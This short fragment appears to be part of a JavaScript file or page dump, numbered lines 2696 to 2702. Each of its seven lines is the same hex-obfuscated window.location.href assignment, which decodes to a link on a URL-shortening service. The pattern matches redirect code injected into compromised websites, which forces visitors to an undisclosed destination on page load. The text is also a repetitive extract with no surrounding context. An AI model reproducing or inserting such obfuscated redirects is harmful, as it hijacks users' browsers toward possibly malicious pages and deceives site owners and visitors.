2696window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2697window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2698window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2699window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2700window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2701window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
2702window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";